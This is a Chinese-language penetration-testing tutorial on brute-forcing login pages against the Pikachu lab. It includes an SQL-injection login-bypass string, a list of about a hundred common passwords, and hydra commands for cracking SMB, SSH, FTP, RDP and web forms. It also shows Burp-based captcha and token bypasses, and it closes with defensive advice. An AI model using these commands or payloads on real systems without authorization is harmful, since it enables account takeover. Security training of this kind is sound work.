1、暴力破解注意事项
- 1、破解前一定要有一个有效的字典(Top100 TOP2000 csdn QQ 163等密码)
- 2、判断用户是否设置了复杂的密码
- 3、网站是否存在验证码
- 4、尝试登录的行为是否有限制
- 5、网站是否双因素认证、Token值等等
1.1可利用字典生成器软件生成:
也可以使用在线平台生成密码字典:
(1)、https://www.bugku.com/mima/
(2)、https://www.wetools.com/password-generator
(3)、https://suijimimashengcheng.bmcx.com/
(4)、https://api.bducds.com/lab/guess/
1.5、网站是否双因素认证、Token值等等
用抓包工具查看是否有token值;双因素认证查看登录是的需要验证码;
可以尝试用sqlmap工具检测查看是否有注入点;
2、登录页面可能产生那些漏洞
- 注入点及万能密码登录
- 弱口令暴破
- 用户名可枚举:不安全的用户提示,一般提示用户名不存在或密码及验证码错误
- 查看登录页面源代码,是否存在敏感信息泄露
- 不安全的验证码
- 在注册帐号的时候是否是否存在不安全的提示
- 不安全的密码,在注册帐号的时候,密码没有限制复杂度
- 在暴力破解的时候未限止ip,锁定用户
- 一个帐号可以在多地登录,没有安全提示
- 帐号登录之后,应该具备超时功能
- 任意无限注册帐号
- OA、邮件、默认帐号等相关系统,在不是自己注册的情况下,应该在登录之后要强行更改密码
- 逻辑漏洞,任意密码重置
- 越权漏洞,纵向,横向越权
- 数据包含有敏感信息泄露,如cookice、内网IP地址
- 明文传输,密码为明文,未使用https证书
- 任意文 件下载
- 框架漏洞,如stuts2、Thinkphp、apache log4等
- 中间件漏洞:weblogic、Apcahe、Tomcat、Jboss等
- 数据库漏洞,如弱口令、提权漏洞、溢出漏洞
- 第三方应用服务所产生的漏洞,如443端口心脏滴血、873端口Rsync未授权访问、6379端口未授权访问、11211端口Memcahe端口未授权访问、111NFS充许网络资源共享
- 目录暴破:获取敏感文件或目录
** ** 登录页面漏洞
强制去除字符限制、显示隐藏表单等方式:
如:百度一下,你就知道 (baidu.com)
用bp抓包工具--代理--勾选相关选项--刷新页面
** 登录页面漏洞**
(1)、登录提示
在登陆时候,输入账户及密码提示用户名错误或提示用户名正确密码错误。(中危漏洞)
很容易用用户名字典爆力破解出来。
正确提示:1、用户名或密码错误; 2、登陆失败,请重新登录;3、......
(3)、密码未加密
(3)、注册功能:
因填写内容与数据库交互
容易产生sql注入(没做好过滤的话)、xss、敏感信息泄露、账号批量注册等。
(1)密码未加密;手机号未加*号 :
(2)注册没有验证码可批量注册:
账户添加变量:
粘贴账户字典:
查看结果,成功批量注册:
注入点及万能密码登录
如:
正确用户名及密码为:
用户名:yuan
密码:123
用户名sql注入语句,输入错误密码登录:
用户名:yuan' or 1=1--
错误密码:666
登陆成功:
** 查看登录页面源代码,是否存在敏感信息泄露**
在github上查找是否有此项目源代码或在线文档、网盘,搜索开发人员是否上传到网上过相关内容;查看原代码里面的相关注释,username、password等敏感信息
如:
http://10.0.0.101:90/pikachu/vul/infoleak/findabc.php
右击网页查看源代码
查到有敏感信息:
帐号登录之后,应该具备超时功能
如:登陆后长时间未操作,没自动掉线退出。
数据包含有敏感信息泄露,如cookice、内网IP地址
cookice是保存在用户本地,不建议账户名密码存在cookie里。
通过阅览器的密码管理--破解工具--进入查看账户密码【知道管理员账户和密码或专业化工具(如LaZa密码读取工具)】
任意文件下载
如:网站可以网页登录又可以下载软件登录,右击文件下载链接通过../下载其他文件。
3、暴力破解分类
3.1、C/S(C客户端/S服务端)
Bruter、hydra等
(1-1)Bruter(系统账户爆破)
工具和字典要放在英文目录下才行
查看主机地址(10.0.0.101)
选择密码字典,系统爆破:
数据库密码爆破:
(1-2)SNETCracker
可以多个ip(多个ip写到记事本里)
(2)hydra(kali系统)
参数:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项
使用:
1.手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典
新建user.txt:
vi user.txt
内容为:
administrator
sa
新建password.txt
vi password.txt
内容为:
123456789
a123456
admin
test
123456
a123456789
1234567890
woaini1314
qq123456
abc123456
123456a
5836767
888888
123456789a
147258369
zxcvbnm
987654321
12345678910
abc123
qq123456789
123456789.
7708801314520
woaini
5201314520
q123456
123456abc
1233211234567
123123123
123456.
0123456789
asd123456
aa123456
135792468
q123456789
abcd123456
12345678900
woaini520
woaini123
zxcvbnm123
1111111111111111
w123456
aini1314
abc123456789
111111
woaini521
qwertyuiop
1314520520
1234567891
qwe123456
asd123
000000
1472583690
1357924680
789456123
123456789abc
z123456
1234567899
aaa123456
abcd1234
www123456
123456789q
123abc
qwe123
w123456789
7894561230
123456qq
zxc123456
123456789qq
1111111111
111111111
0000000000000000
1234567891234567
qazwsxedc
qwerty
123456..
zxc123
asdfghjkl
0000000000
1234554321
123456q
123456aa
9876543210
110120119
qaz123456
qq5201314
123698745
5201314
000000000
as123456
123123
5841314520
z123456789
52013145201314
a123123
caonima
a5201314
wang123456
abcd123
123456789..
woaini1314520
admin888
first
123456asd
aa123456789
741852963
a12345678
** 2.破解smb**
破解系统账户密码:
hydra -L user.txt -P password.txt -t 1 -vV -e ns 10.0.0.101 smb
[445][smb] host: 10.0.0.101 login: administrator password: 123456
破解成功,直接显示结果。也可以使用 -o 选项指定结果输出文件:
hydra -L user.txt -P password.txt -t 1 -vV -e ns 10.0.0.101 smb -o 1.txt
查看导出内容:
vi 1.txt
其它实例:
1.破解ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2.破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3.get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
4.post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
5.破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
6.破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
7.破解cisco:
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
8.破解smb:
hydra -l administrator -P top100.txt 192.168.0.102 smb
9.破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10.破解rdp:
hydra 192.168.0.102 rdp -l administrator -P top100.txt -V
11.破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
12.破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果
3.2、B/S(B浏览器/S服务器)
(1)基于表单的暴力破解
如:
打开pikachu靶场环境,基于表单的暴力破解--输入账户密码进行登录--用bp抓包:
http://10.0.0.101:90/pikachu/vul/burteforce/bf_form.php
发到测试器--清除变量-假设密码是md5加密--设置密码变量
粘贴破解字典:
设置密码变量为md5加密:
密码cm5加密设置成功:(
(2)基于验证码暴力破解
- on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露
- on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解
- 弱验证码识别攻击
例如:pikachu靶场环境
(2-1)验证码绕过(on client)
在用户的浏览器或客户端应用程序中绕过验证码检查的过程
http://10.0.0.101:90/pikachu/vul/burteforce/bf_server.php
右击查看源代码:(使用了
<script>
标签中的代码可以用来实现前端校验,不与服务器校验)
用bp抓包:
username=§admin§&password=§123456§&vcode=§2UH1J§&submit=§Login§
只要第一次抓包输入正确,批量爆破可删除验证码参数(&vcode=§2UH1J);
发到测试器删除验证码参数、设置密码变量,添加密码字典批量爆破:
成功密码爆破:
on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露
(2-2)验证码绕过(on server)
输入账户密码--bp抓包--发到测试器--添加密码变量--密码粘贴爆破字典--开始攻击--全部失败:
刷新验证码,新的验证码直接输入bp上--开始攻击:
成功爆破密码:(因php默认session是24分钟过期)
on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解
查看源代码,为后端校验::
if (empty($_POST['vcode'])) {
$html .= "验证码不能为空哦!
";
} else {
// 验证验证码是否正确
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "验证码输入错误哦!
";
//应该在验证完成后,销毁该$_SESSION['vcode']
}else{后端校验:服务器端(后端)执行的PHP脚本进行
把源代码 //应该在验证完成后,销毁该$_SESSION['vcode']取消注释,验证完成后,销毁该
$_SESSION['vcode']:
if (empty($_POST['vcode'])) {
$html .= "验证码不能为空哦!
";
} else {
// 验证验证码是否正确
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "验证码输入错误哦!
";
$_SESSION['vcode']
}else{
重启phpstudy,重新bp抓包爆破密码:
密码破解失败(因验证码用一次销毁一次)
(2-3)弱验证码识别攻击
http://10.0.0.101:86/admin/
使用pkav验证码验证爆破工具:
账户登录--用bp抓包--复制到pkav目标数据请求包处--
在目标数据--设置密码及验证码变量:
变量设置--选择密码字典:
网站验证码--右击复制图像地址--粘贴到图片型验证码识别【验证码地址】--设置识别范围(此网站只有数字):
重放选项--选择自动跟踪302重定向--验证码长度--重试规则填写网站验证码输入错误的提醒内容
发包器--启动,成功爆破密码:
(3)基于Token破解
由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义,一般Token在防止CSRF上会有比较好的功效。
如:pikachu靶场环境
token防爆破?
http://10.0.0.101:90/pikachu/vul/burteforce/bf_token.php
尝试添加密码变量,字典爆破:
全部失败:
设置密码和token变量;破解方式为音叉:
变量1粘贴密码字典:
变量2有效载荷设置为递归搜索:
选项里Grep-Extract设置好开始token" value=" 结束为" />
线程设为为1:
** 登陆成功:**
说明:输入上一次响应体的token带入到下一次破解请求体里:
4、暴力破解安全防范
- 强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwaded-For绕过了!
- 验证码只能用一次,用完立即过期!不能再次使用
- 验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。
- 大网站最好统一安全验证码,各处使用同一个验证码接口。
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。